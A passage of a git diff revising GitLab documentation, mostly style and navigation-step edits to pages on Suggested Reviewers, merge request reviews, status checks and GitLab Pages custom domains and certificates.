reviewer suggestions, which are automatically updated in the reviewer dropdown list. ## Progressive enhancement -This feature is designed as a progressive enhancement to the existing GitLab Reviewers functionality. The GitLab Reviewer UI will only offer suggestions if the ML engine is able to provide a recommendation. In the event of an issue or model inference failure, the feature will gracefully degrade. At no point with the usage of Suggested Reviewers prevent a user from being able to manually set a reviewer. +This feature is designed as a progressive enhancement to the existing GitLab Reviewers functionality. The GitLab Reviewer UI only offers suggestions if the ML engine is able to provide a recommendation. In the event of an issue or model inference failure, the feature gracefully degrades. At no point with the usage of Suggested Reviewers prevent a user from being able to manually set a reviewer. ## Model Accuracy -Organizations use many different processes for code review. Some focus on senior engineers reviewing junior engineer's code, others have hierarchical organizational structure based reviews. Suggested Reviewers is focused on contextual reviewers based on historical merge request activity by users. While we will continue evolving the underlying ML model to better serve various code review use cases and processes Suggested Reviewers does not replace the usage of other code review features like Code Owners and [Approval Rules](../approvals/rules.md). Reviewer selection is highly subjective therefore, we do not expect Suggested Reviewers to provide perfect suggestions every time. +Organizations use many different processes for code review. Some focus on senior engineers reviewing junior engineer's code, others have hierarchical organizational structure based reviews. Suggested Reviewers is focused on contextual reviewers based on historical merge request activity by users. While we continue evolving the underlying ML model to better serve various code review use cases and processes Suggested Reviewers does not replace the usage of other code review features like Code Owners and [Approval Rules](../approvals/rules.md). Reviewer selection is highly subjective therefore, we do not expect Suggested Reviewers to provide perfect suggestions every time. -Through analysis of beta customer usage, we find that the Suggested Reviewers ML model provides suggestions that are adopted in 60% of cases. We will be introducing a feedback mechanism into the Suggested Reviewers feature in the future to allow users to flag bad reviewer suggestions to help improve the model. Additionally we will be offering an opt-in feature in the future which will allow the model to use your project's data for training the underlying model. +Through analysis of beta customer usage, we find that the Suggested Reviewers ML model provides suggestions that are adopted in 60% of cases. We plan to introduce a feedback mechanism into the Suggested Reviewers feature in the future to allow users to flag bad reviewer suggestions to help improve the model. Additionally we plan to offer an opt-in feature in the future which allows the model to use your project's data for training the underlying model. ## Off by default diff --git a/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_form_v13_8.png b/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_form_v13_8.png Binary files differdeleted file mode 100644 index c2aa0689d65..00000000000 --- a/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_form_v13_8.png +++ /dev/null diff --git a/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_form_v15_9.png b/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_form_v15_9.png Binary files differnew file mode 100644 index 00000000000..6839c675625 --- /dev/null +++ b/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_form_v15_9.png diff --git a/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_sidebar_v13_8.png b/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_sidebar_v13_8.png Binary files differdeleted file mode 100644 index 3828868965b..00000000000 --- a/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_sidebar_v13_8.png +++ /dev/null diff --git a/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_sidebar_v15_9.png b/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_sidebar_v15_9.png Binary files differnew file mode 100644 index 00000000000..c7942d1e36d --- /dev/null +++ b/doc/user/project/merge_requests/reviews/img/reviewer_approval_rules_sidebar_v15_9.png diff --git a/doc/user/project/merge_requests/reviews/img/suggested_reviewers_v15_4.png b/doc/user/project/merge_requests/reviews/img/suggested_reviewers_v15_4.png Binary files differdeleted file mode 100644 index aae75b0736c..00000000000 --- a/doc/user/project/merge_requests/reviews/img/suggested_reviewers_v15_4.png +++ /dev/null diff --git a/doc/user/project/merge_requests/reviews/img/suggested_reviewers_v15_9.png b/doc/user/project/merge_requests/reviews/img/suggested_reviewers_v15_9.png Binary files differnew file mode 100644 index 00000000000..70db0d79eaf --- /dev/null +++ b/doc/user/project/merge_requests/reviews/img/suggested_reviewers_v15_9.png diff --git a/doc/user/project/merge_requests/reviews/index.md b/doc/user/project/merge_requests/reviews/index.md index 9a75c038dbc..5291a845437 100644 --- a/doc/user/project/merge_requests/reviews/index.md +++ b/doc/user/project/merge_requests/reviews/index.md @@ -25,21 +25,27 @@ review merge requests in Visual Studio Code. > [Introduced](https://gitlab.com/groups/gitlab-org/modelops/applied-ml/review-recommender/-/epics/3) in GitLab 15.4. -GitLab can recommend reviewers with Suggested Reviewers. Using the changes in a merge request and a project's contribution graph, machine learning powered suggestions appear in the reviewer section of the right merge request sidebar. +GitLab can suggest reviewers. Using the changes in a merge request and a project's contribution graph, machine learning suggestions appear in the reviewer section of the right sidebar. - + This feature is currently in [Open Beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#open-beta) behind a [feature flag](https://gitlab.com/gitlab-org/gitlab/-/issues/368356). -Learn more about [how suggested reviewers works and data privacy](data_usage.md). +For more information, see [Data usage in Suggested Reviewers](data_usage.md). ### Enable suggested reviewers -Project Maintainers or Owners can enable suggested reviewers by visiting the [project settings](../../settings/index.md). +Project Maintainers or Owners can enable suggested reviewers by visiting +the [project settings](../../settings/index.md). -Enabling suggested reviewers will trigger GitLab to create an ML model for your project that will be used to generate reviewers. The larger your project, the longer this can take, but usually, the model will be ready to generate suggestions within a few hours. +Enabling suggested reviewers triggers GitLab to create an ML model for your +project that is used to generate reviewers. The larger your project, the longer +this process can take. Usually, the model is ready to generate suggestions +within a few hours. -No action is required once the feature is enabled. Once the model is ready, recommendations will populate the Reviewer dropdown list in the right-hand sidebar of a merge request with new commits. +No action is required after the feature is enabled. After the model is ready, +recommendations populate the **Reviewer** dropdown list in the right-hand sidebar +of a merge request with new commits. ## Review a merge request @@ -51,8 +57,8 @@ to you. When you're ready, you can publish them together in a single action. To start your review: 1. Go to the merge request you want to review, and select the **Changes** tab. - To learn more about navigating the diffs displayed in this tab, read - [Changes tab in merge requests](../changes.md). + For more information about navigating the diffs displayed in this tab, see + [Changes in merge requests](../changes.md). 1. Select the **{comment}** **comment** icon in the gutter to expand the diff lines and display a comment box. In GitLab version 13.2 and later, you can [select multiple lines](#comment-on-multiple-lines). @@ -78,7 +84,7 @@ To download the changes included in a merge request as a diff: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Merge requests**. 1. Select your merge request. -1. On the top right, select **Code > Plain diff**. +1. In the upper right, select **Code > Plain diff**. If you know the URL of the merge request, you can also download the diff from the command line by appending `.diff` to the URL. This example downloads the diff @@ -101,7 +107,7 @@ To download the changes included in a merge request as a patch file: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Merge requests**. 1. Select your merge request. -1. On the top right, select **Code > Email patches**. +1. In the upper right, select **Code > Email patches**. If you know the URL of the merge request, you can also download the patch from the command line by appending `.patch` to the URL. This example downloads the patch @@ -147,7 +153,7 @@ To resolve or unresolve a thread when replying to a comment: Pending comments display information about the action to be taken when the comment is published: -- **{check-circle-filled}** Thread will be resolved. +- **{check-circle-filled}** Thread is resolved. - **{check-circle}** Thread stays unresolved. ### Add a new comment @@ -170,11 +176,11 @@ below the name of each suggested reviewer. [Code Owners](../../code_owners.md) a This example shows reviewers and approval rules when creating a new merge request: - + This example shows reviewers and approval rules in a merge request sidebar: - + ### Request a new review @@ -194,7 +200,7 @@ them a notification email. ## Comment on multiple lines > - [Introduced](https://gitlab.com/gitlab-org/ux-research/-/issues/870) in GitLab 13.2. -> - [Added](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49875) click-and-drag features in GitLab 13.8. +> - [Added](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49875) select-and-drag features in GitLab 13.8. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299121) in GitLab 13.9. When commenting on a diff, you can select which lines of code your comment refers diff --git a/doc/user/project/merge_requests/status_checks.md b/doc/user/project/merge_requests/status_checks.md index 2894b71e7e6..62a2baa049b 100644 --- a/doc/user/project/merge_requests/status_checks.md +++ b/doc/user/project/merge_requests/status_checks.md @@ -22,25 +22,23 @@ respond with an associated status. This status is then displayed as a non-blocki widget within the merge request to surface this status to the merge request author or reviewers at the merge request level itself. -The lack of a status check response does not block the merging of a merge request. - You can configure merge request status checks for each individual project. These are not shared between projects. -To learn more about use cases, feature discovery, and development timelines, -see the [external status checks epic](https://gitlab.com/groups/gitlab-org/-/epics/3869). +For more information about use cases, feature discovery, and development timelines, +see [epic 3869](https://gitlab.com/groups/gitlab-org/-/epics/3869). ## Block merges of merge requests unless all status checks have passed > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/369859) in GitLab 15.5 [with a flag](../../../administration/feature_flags.md) named `only_allow_merge_if_all_status_checks_passed`. Disabled by default. > - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/372340) in GitLab 15.8. +> - Enabled on self-managed and feature flag [removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/111492) in GitLab 15.9. -FLAG: -On self-managed GitLab, by default this feature is not available. To make it available per project or for your entire instance, ask an administrator to -[enable the feature flag](../../../administration/feature_flags.md) named `only_allow_merge_if_all_status_checks_passed`. On GitLab.com, this feature is available but can be configured by GitLab.com administrators only. +By default, merge requests in projects can be merged even if external status checks fail. To block the merging of merge requests when external checks fail: -By default, merge requests in projects can be merged even if external status checks fail. To block the merging of merge requests when external checks fail, enable this feature -using the [project API](../../../api/projects.md#edit-project). You must also [enable the feature flag](../../../administration/feature_flags.md) named -`only_allow_merge_if_all_status_checks_passed` on self-managed GitLab. +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > Merge requests**. +1. Select the **Status checks must succeed** checkbox. +1. Select **Save changes**. ## Lifecycle @@ -63,7 +61,7 @@ Merge requests return a `409 Conflict` error to any responses that do not refer External status checks have the following states: -- `pending` - The default state. No response can been received by the merge request from the external service. +- `pending` - The default state. No response has been received by the merge request from the external service. - `passed` - A response from the external service has been received and approved by it. - `failed` - A response from the external service has been received and denied by it. @@ -146,7 +144,7 @@ The **Remove status check?** modal is then shown. To complete the deletion of the status check you must select the **Remove status check** button. This **permanently** deletes -the status check and it **will not** be recoverable. +the status check and it **is not** recoverable. ## Status checks widget diff --git a/doc/user/project/milestones/index.md b/doc/user/project/milestones/index.md index bbe4aadc50d..5f9a2961df5 100644 --- a/doc/user/project/milestones/index.md +++ b/doc/user/project/milestones/index.md @@ -48,8 +48,7 @@ In a group, GitLab displays milestones that belong to the group and all projects If a project has issue tracking [turned off](../settings/index.md#configure-project-visibility-features-and-permissions), -you can get to the milestones page -by going to its URL. +to get to the milestones page, enter its URL. To do so: diff --git a/doc/user/project/organize_work_with_projects.md b/doc/user/project/organize_work_with_projects.md index 0ff354562fd..2b4ce6d2fd0 100644 --- a/doc/user/project/organize_work_with_projects.md +++ b/doc/user/project/organize_work_with_projects.md @@ -14,6 +14,7 @@ built-in CI/CD to deploy your app. Projects can be available [publicly, internally, or privately](../public_access.md). GitLab does not limit the number of private projects you can create. +- [Create a project](index.md) - [Manage projects](working_with_projects.md) - [Project visibility](../public_access.md) - [Project settings](../project/settings/index.md) @@ -28,6 +29,5 @@ GitLab does not limit the number of private projects you can create. - [Deploy keys](../../user/project/deploy_keys/index.md) - [Deploy tokens](../../user/project/deploy_tokens/index.md) - [File finder](../../user/project/repository/file_finder.md) -- [GitLab Pages](../../user/project/pages/index.md) - [Migrating projects](../../user/project/import/index.md) - [Migrate projects by using file exports](../../user/project/settings/import_export.md) diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md index 197524f2fc5..e55cf337d16 100644 --- a/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md +++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md @@ -21,7 +21,7 @@ GitLab Pages with your own (sub)domain, you need to access your domain's registrar control panel to add a DNS record pointing it back to your GitLab Pages site. -Note that **how to** add DNS records depends on which server your domain +How to add DNS records depends on which server your domain is hosted on. Every control panel has its own place to do it. If you are not an administrator of your domain, and don't have access to your registrar, you must ask the technical support of your hosting service diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md index 2f814bb0e65..24e9e6e15a4 100644 --- a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md +++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md @@ -56,8 +56,11 @@ To add your custom domain to GitLab Pages: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Settings > Pages**. -1. In the top right, select **New Domain**. -1. In **Domain**, enter your domain. + + If this path is not visible, select **Deployments > Pages**. + [This location is part of an experiment](../index.md#menu-position-test). +1. In the upper-right corner, select **New Domain**. +1. In **Domain**, enter the domain name. 1. Optional. In **Certificate**, turn off the **Automatic certificate management using Let's Encrypt** toggle to add an [SSL/TLS certificate](#adding-an-ssltls-certificate-to-pages). You can also add the certificate and key later. 1. Select **Create New Domain**. @@ -102,7 +105,7 @@ server running on your instance).  WARNING: -Note that if you use your root domain for your GitLab Pages website +If you use your root domain for your GitLab Pages website **only**, and if your domain registrar supports this feature, you can add a DNS apex `CNAME` record instead of an `A` record. The main advantage of doing so is that when GitLab Pages IP on GitLab.com @@ -122,7 +125,7 @@ Subdomains (`subdomain.example.com`) require: | `subdomain.example.com` | `ALIAS`/`CNAME` | `namespace.gitlab.io` | | `_gitlab-pages-verification-code.subdomain.example.com` | `TXT` | `gitlab-pages-verification-code=00112233445566778899aabbccddeeff` | -Note that, whether it's a user or a project website, the DNS record +Whether it's a user or a project website, the DNS record should point to your Pages domain (`namespace.gitlab.io`), without any `/project-name`. @@ -165,10 +168,13 @@ If you're using Cloudflare, check Once you have added all the DNS records: -1. Go back at your project's **Settings > Pages** (Note: this may also be - located at **Deployments > Pages**, [more information](../index.md#menu-position-test)). -1. Locate your domain name and select **Details**. -1. Select the **Retry verification** button to activate your new domain. +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > Pages**. + + If this path is not visible, select **Deployments > Pages**. + [This location is part of an experiment](../index.md#menu-position-test). +1. Next to the domain name, select **Edit**. +1. In **Verification status**, select **Retry verification** (**{retry}**).  @@ -184,7 +190,7 @@ from the GitLab project. > - Domain verification is **required for GitLab.com users**; for GitLab self-managed instances, your GitLab administrator has the option to [disabled custom domain verification](../../../../administration/pages/index.md#custom-domain-verification). -> - [DNS propagation may take some time (up to 24h)](https://www.inmotionhosting.com/support/domain-names/dns-nameserver-changes/complete-guide-to-dns-records/), +> - [DNS propagation may take some time (up to 24 hours)](https://www.inmotionhosting.com/support/domain-names/dns-nameserver-changes/complete-guide-to-dns-records/), although it's usually a matter of minutes to complete. Until it does, verification fails, and attempts to visit your domain result in a 404. > - Once your domain has been verified, leave the verification record @@ -287,12 +293,28 @@ meet these requirements. #### Steps -- To add the certificate at the time you add a new domain, go to your - project's **Settings > Pages > New Domain** (Note: this may also be - located at **Deployments > Pages**, [more information](../index.md#menu-position-test)), add the domain name and the - certificate. -- To add the certificate to a domain previously added, go to your - project's **Settings > Pages**, locate your domain name, select **Details** and **Edit** to add the certificate. +- To add the certificate at the time you add a new domain: + + 1. On the top bar, select **Main menu > Projects** and find your project. + 1. On the left sidebar, select **Settings > Pages**. + + If this path is not visible, select **Deployments > Pages**. + [This location is part of an experiment](../index.md#menu-position-test). + 1. In the upper-right corner, select **New Domain**. + 1. In **Domain**, enter the domain name. + 1. In **Certificate**, turn off the **Automatic certificate management using Let's Encrypt** toggle to add an [SSL/TLS certificate](#adding-an-ssltls-certificate-to-pages). + 1. Select **Create New Domain**. + +- To add the certificate to a domain previously added: + + 1. On the top bar, select **Main menu > Projects** and find your project. + 1. On the left sidebar, select **Settings > Pages**. + + If this path is not visible, select **Deployments > Pages**. + [This location is part of an experiment](../index.md#menu-position-test). + 1. Next to the domain name, select **Edit**. + 1. In **Certificate**, turn off the **Automatic certificate management using Let's Encrypt** toggle to add an [SSL/TLS certificate](#adding-an-ssltls-certificate-to-pages). + 1. Select **Save changes**. NOTE: The Pages menu entry may also be located at **Deployments > Pages**, [more information](../index.md#menu-position-test) @@ -319,9 +341,13 @@ domain (as long as you've set a valid certificate for it). To enable this setting: -1. Navigate to your project's **Settings > Pages** (Note: this may also be - located at **Deployments > Pages**, [more information](../index.md#menu-position-test)). -1. Tick the checkbox **Force HTTPS (requires valid certificates)**. +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > Pages**. + + If this path is not visible, select **Deployments > Pages**. + [This location is part of an experiment](../index.md#menu-position-test). +1. Select the **Force HTTPS (requires valid certificates)** checkbox. +1. Select **Save changes**. If you use Cloudflare CDN in front of GitLab Pages, make sure to set the SSL connection setting to `full` instead of `flexible`. For more details, see the [Cloudflare CDN directions](https://developers.cloudflare.com/ssl/origin-configuration/ssl-modes#h_4e0d1a7c-eb71-4204-9e22-9d3ef9ef7fef). diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md index 770fb4f450a..95ac2e50f29 100644 --- a/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md +++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md @@ -42,11 +42,13 @@ For **self-managed** GitLab instances, make sure your administrator has Once you've met the requirements, enable Let's Encrypt integration: -1. Navigate to your project's **Settings > Pages** (Note: this may also be - located at **Deployments > Pages**, [more information](../index.md#menu-position-test)). -1. Find your domain and select **Details**. -1. Select **Edit** in the top-right corner. -1. Enable Let's Encrypt integration by switching **Automatic certificate management using Let's Encrypt**: +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > Pages**. + + If this path is not visible, select **Deployments > Pages**. + [This location is part of an experiment](../index.md#menu-position-test). +1. Next to the domain name, select **Edit**. +1. Turn on the **Automatic certificate management using Let's Encrypt** toggle.  @@ -60,7 +62,7 @@ associated Pages domain. GitLab also renews it automatically. > - Issuing the certificate and updating Pages configuration > **can take up to an hour**. > - If you already have an SSL certificate in domain settings it -> continues to work until replaced by the Let's Encrypt's certificate. +> continues to work until replaced by the Let's Encrypt certificate. ## Troubleshooting @@ -70,31 +72,37 @@ associated Pages domain. GitLab also renews it automatically. If you get an error **Something went wrong while obtaining the Let's Encrypt certificate**, first, make sure that your pages site is set to "Everyone" in your project's **Settings > General > Visibility**. This allows the Let's Encrypt Servers reach your pages site. Once this is confirmed, you can try obtaining the certificate again by following these steps: -1. Go to your project's **Settings > Pages** (Note: this may also be - located at **Deployments > Pages**, [more information](../index.md#menu-position-test)). -1. Select **Edit** on your domain. -1. Select **Retry**. -1. If you're still seeing the same error: - 1. Make sure you have properly set only one `CNAME` or `A` DNS record for your domain. - 1. Make sure your domain **doesn't have** an `AAAA` DNS record. - 1. If you have a `CAA` DNS record for your domain or any higher level domains, make sure [it includes `letsencrypt.org`](https://letsencrypt.org/docs/caa/). - 1. Make sure [your domain is verified](index.md#1-add-a-custom-domain). - 1. Go to step 1. +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > Pages**. + + If this path is not visible, select **Deployments > Pages**. + [This location is part of an experiment](../index.md#menu-position-test). +1. Next to the domain name, select **Edit**. +1. In **Verification status**, select **Retry verification** (**{retry}**). +1. If you're still getting the same error: + 1. Make sure you have properly set only one `CNAME` or `A` DNS record for your domain. + 1. Make sure your domain **doesn't have** an `AAAA` DNS record. + 1. If you have a `CAA` DNS record for your domain or any higher level domains, make sure [it includes `letsencrypt.org`](https://letsencrypt.org/docs/caa/). + 1. Make sure [your domain is verified](index.md#1-add-a-custom-domain). + 1. Go to step 1. ### Message "GitLab is obtaining a Let's Encrypt SSL certificate for this domain. This process can take some time. Please try again later." hangs for more than an hour If you've enabled Let's Encrypt integration, but a certificate is absent after an hour and you see the message, "GitLab is obtaining a Let's Encrypt SSL certificate for this domain. This process can take some time. Please try again later.", try to remove and add the domain for GitLab Pages again by following these steps: -1. Go to your project's **Settings > Pages** (Note: this may also be - located at **Deployments > Pages**, [more information](../index.md#menu-position-test)). -1. Select **Remove** on your domain. -1. [Add the domain again and verify it](index.md#1-add-a-custom-domain). +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > Pages**. + + If this path is not visible, select **Deployments > Pages**. + [This location is part of an experiment](../index.md#menu-position-test). +1. Next to the domain name, select **Remove**. +1. [Add the domain again, and verify it](index.md#1-add-a-custom-domain). 1. [Enable Let's Encrypt integration for your domain](#enabling-lets-encrypt-integration-for-your-custom-domain). -1. If you still see the same message after some time: - 1. Make sure you have properly set only one `CNAME` or `A` DNS record for your domain. - 1. Make sure your domain **doesn't have** an `AAAA` DNS record. - 1. If you have a `CAA` DNS record for your domain or any higher level domains, make sure [it includes `letsencrypt.org`](https://letsencrypt.org/docs/caa/). - 1. Go to step 1. +1. If you're still getting the same error: + 1. Make sure you have properly set only one `CNAME` or `A` DNS record for your domain. + 1. Make sure your domain **doesn't have** an `AAAA` DNS record. + 1. If you have a `CAA` DNS record for your domain or any higher level domains, make sure [it includes `letsencrypt.org`](https://letsencrypt.org/docs/caa/). + 1. Go to step 1. <!-- Include any troubleshooting steps that you can foresee. If you know beforehand what issues one might have when setting this up, or when something is changed, or on upgrading, it's diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md index b9d2f8cb9a6..398d8dc6e1e 100644 --- a/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md +++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md @@ -29,7 +29,7 @@ This might be your first question. If our sites are hosted by GitLab Pages, they are static, hence we are not dealing with server-side scripts nor credit card transactions, then why do we need secure connections? -Back in the 1990s, where HTTPS came out, [SSL](https://en.wikipedia.org/wiki/Transport_Layer_Security#SSL_1.0.2C_2.0_and_3.0) was considered a "special" +When HTTPS came out in 1990, [SSL](https://en.wikipedia.org/wiki/Transport_Layer_Security#SSL_1.0.2C_2.0_and_3.0) was considered a "special" security measure, necessary just for big companies like banks and shopping sites with financial transactions. @@ -60,7 +60,7 @@ reiterating the importance of HTTPS. GitLab Pages accepts certificates provided in the [PEM](https://knowledge.digicert.com/quovadis.html) format, issued by [Certificate Authorities](https://en.wikipedia.org/wiki/Certificate_authority) or as -[self-signed certificates](https://en.wikipedia.org/wiki/Self-signed_certificate). Note that [self-signed certificates are typically not used](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/self-signed-certificates-secure-so-why-ban/) +[self-signed certificates](https://en.wikipedia.org/wiki/Self-signed_certificate). [Self-signed certificates are typically not used](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/self-signed-certificates-secure-so-why-ban/) for public websites for security reasons and to ensure that browsers trust your site's certificate. There are various kinds of certificates, each one diff --git a/doc/user/project/pages/getting_started/pages_ci_cd_template.md b/doc/user/project/pages/getting_started/pages_ci_cd_template.md index e0448621c6a..f596e418b02 100644 --- a/doc/user/project/pages/getting_started/pages_ci_cd_template.md +++ b/doc/user/project/pages/getting_started/pages_ci_cd_template.md @@ -27,9 +27,11 @@ these steps, you may have to do additional configuration for the Pages site to g If everything is configured correctly, the site can take approximately 30 minutes to deploy. To view the pipeline, go to **CI/CD > Pipelines**. + When the pipeline is finished, go to **Settings > Pages** to find the link to -your Pages website. (Note: this may also be -located at **Deployments > Pages**, [more information](../index.md#menu-position-test)) +your Pages website. +If this path is not visible, select **Deployments > Pages**. +[This location is part of an experiment](../index.md#menu-position-test). For every change pushed to your repository, GitLab CI/CD runs a new pipeline that immediately publishes your changes to the Pages site. diff --git a/doc/user/project/pages/getting_started/pages_forked_sample_project.md b/doc/user/project/pages/getting_started/pages_forked_sample_project.md index e1a245851cb..509609e9b89 100644 --- a/doc/user/project/pages/getting_started/pages_forked_sample_project.md +++ b/doc/user/project/pages/getting_started/pages_forked_sample_project.md @@ -19,14 +19,15 @@ To fork a sample project and create a Pages website: 1. View the sample projects by navigating to the [GitLab Pages examples](https://gitlab.com/pages) group. 1. Select the name of the project you want to [fork](../../repository/forking_workflow.md#creating-a-fork). -1. In the top right, select **Fork** and then choose a namespace to fork to. +1. In the upper right, select **Fork** and then choose a namespace to fork to. 1. For your project, on the left sidebar, select **CI/CD > Pipelines** and then **Run pipeline**. GitLab CI/CD builds and deploys your site. The site can take approximately 30 minutes to deploy. -When the pipeline is finished, go to **Settings > Pages** to find the link -to your website from your project. (Note: this may also be -located at **Deployments > Pages**, [more information](../index.md#menu-position-test)) +When the pipeline is finished, go to **Settings > Pages** to find the link to +your Pages website. +If this path is not visible, select **Deployments > Pages**. +[This location is part of an experiment](../index.md#menu-position-test). For every change pushed to your repository, GitLab CI/CD runs a new pipeline that immediately publishes your changes to the Pages site. diff --git a/doc/user/project/pages/getting_started/pages_from_scratch.md b/doc/user/project/pages/getting_started/pages_from_scratch.md index 82e544b0701..a3d6c8f75f9 100644 --- a/doc/user/project/pages/getting_started/pages_from_scratch.md +++ b/doc/user/project/pages/getting_started/pages_from_scratch.md @@ -175,10 +175,11 @@ deploy your website: 1. Save and commit the `.gitlab-ci.yml` file. 1. Go to **CI/CD > Pipelines** to watch the pipeline. -1. When the pipeline succeeds, go to **Settings > Pages** - to view the URL where your site is now available. (Note: this may also be - located at **Deployments > Pages**, [more information](../index.md#menu-position-test)) +1. When the pipeline is finished, go to **Settings > Pages** to find the link to + your Pages website. + If this path is not visible, select **Deployments > Pages**. + [This location is part of an experiment](../index.md#menu-position-test). When this `pages` job completes successfully, a special `pages:deploy` job appears in the pipeline view. It prepares the content of the website for the GitLab Pages daemon. GitLab runs it in the background and doesn't use a runner. diff --git a/doc/user/project/pages/getting_started/pages_new_project_template.md b/doc/user/project/pages/getting_started/pages_new_project_template.md index a9988b1fb99..a301d2b64be 100644 --- a/doc/user/project/pages/getting_started/pages_new_project_template.md +++ b/doc/user/project/pages/getting_started/pages_new_project_template.md @@ -24,8 +24,9 @@ configured to generate a Pages site. site. When the pipeline is finished, go to **Settings > Pages** to find the link to -your Pages website. (Note: this may also be -located at **Deployments > Pages**, [more information](../index.md#menu-position-test)) +your Pages website. +If this path is not visible, select **Deployments > Pages**. +[This location is part of an experiment](../index.md#menu-position-test). For every change pushed to your repository, GitLab CI/CD runs a new pipeline that immediately publishes your changes to the Pages site. diff --git a/doc/user/project/pages/getting_started/pages_ui.md b/doc/user/project/pages/getting_started/pages_ui.md index 984c8e5c619..91c2c532a9a 100644 --- a/doc/user/project/pages/getting_started/pages_ui.md +++ b/doc/user/project/pages/getting_started/pages_ui.md @@ -34,8 +34,10 @@ a pipeline deploys your Pages website. To complete the setup and generate a GitLab Pages deployment: 1. On the top bar, select **Main menu > Projects** and find your project. -1. On the left sidebar, select **Settings > Pages** (Note: this may also be - located at **Deployments > Pages**, [more information](../index.md#menu-position-test)). +1. On the left sidebar, select **Settings > Pages**. + + If this path is not visible, select **Deployments > Pages**. + [This location is part of an experiment](../index.md#menu-position-test). A **Get Started with Pages** form appears. If this form is not available, see [Troubleshooting](#if-the-get-started-with-pages-form-is-not-available). 1. For **Step 1**, enter an image name and verify that your files are in a `public` folder. @@ -61,10 +63,10 @@ and on the right side, select **Download artifacts**. ### If the `Get Started with Pages` form is not available -When you go to **Settings > Pages**, the form is not available if you: +The `Get Started with Pages` form is not available if you: - Deployed a GitLab Pages site before. -- Committed a `.gitlab-ci.yml` through the forms at least one time. +- Committed `.gitlab-ci.yml` through the forms at least one time. To fix this issue: diff --git a/doc/user/project/pages/index.md b/doc/user/project/pages/index.md index 89d8fd093b2..691757e3eca 100644 --- a/doc/user/project/pages/index.md +++ b/doc/user/project/pages/index.md @@ -31,8 +31,8 @@ like Gatsby, Jekyll, Hugo, Middleman, Harp, Hexo, or Brunch. You can also publish any website written directly in plain HTML, CSS, and JavaScript. Pages does not support dynamic server-side processing, for instance, as `.php` and `.asp` requires. -Learn more about -[static websites compared to dynamic websites](https://about.gitlab.com/blog/2016/06/03/ssg-overview-gitlab-pages-part-1-dynamic-x-static/). +For more information, see +[Static vs dynamic websites](https://about.gitlab.com/blog/2016/06/03/ssg-overview-gitlab-pages-part-1-dynamic-x-static/). ## Menu Position Test @@ -63,7 +63,7 @@ To update a GitLab Pages website: | [Let's Encrypt integration](custom_domains_ssl_tls_certification/lets_encrypt_integration.md) | Secure your Pages sites with Let's Encrypt certificates, which are automatically obtained and renewed by GitLab. | | [Redirects](redirects.md) | Set up HTTP redirects to forward one page to another. | -Learn more and see examples: +For more information, see: | Document | Description | |----------|-------------| diff --git a/doc/user/project/pages/introduction.md b/doc/user/project/pages/introduction.md index a9b8960d629..51c42eeecb8 100644 --- a/doc/user/project/pages/introduction.md +++ b/doc/user/project/pages/introduction.md @@ -59,8 +59,8 @@ If the case of `404.html`, there are different scenarios. For example: ## Redirects in GitLab Pages -You can configure redirects for your site using a `_redirects` file. To learn more, read -the [redirects documentation](redirects.md). +You can configure redirects for your site using a `_redirects` file. For more information, see +[Create redirects for GitLab Pages](redirects.md). ## Remove your pages @@ -68,6 +68,9 @@ To remove your pages: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Settings > Pages**. + + If this path is not visible, select **Deployments > Pages**. + [This location is part of an experiment](index.md#menu-position-test). 1. Select **Remove pages**. ## Subdomains of subdomains @@ -253,12 +256,12 @@ instead. Here are some examples of what happens given the above Pages site: | `/info/details` | `200 OK`: `public/info/details.html` | | `/info/details.html` | `200 OK`: `public/info/details.html` | -Note that when `public/data/index.html` exists, it takes priority over the `public/data.html` file +When `public/data/index.html` exists, it takes priority 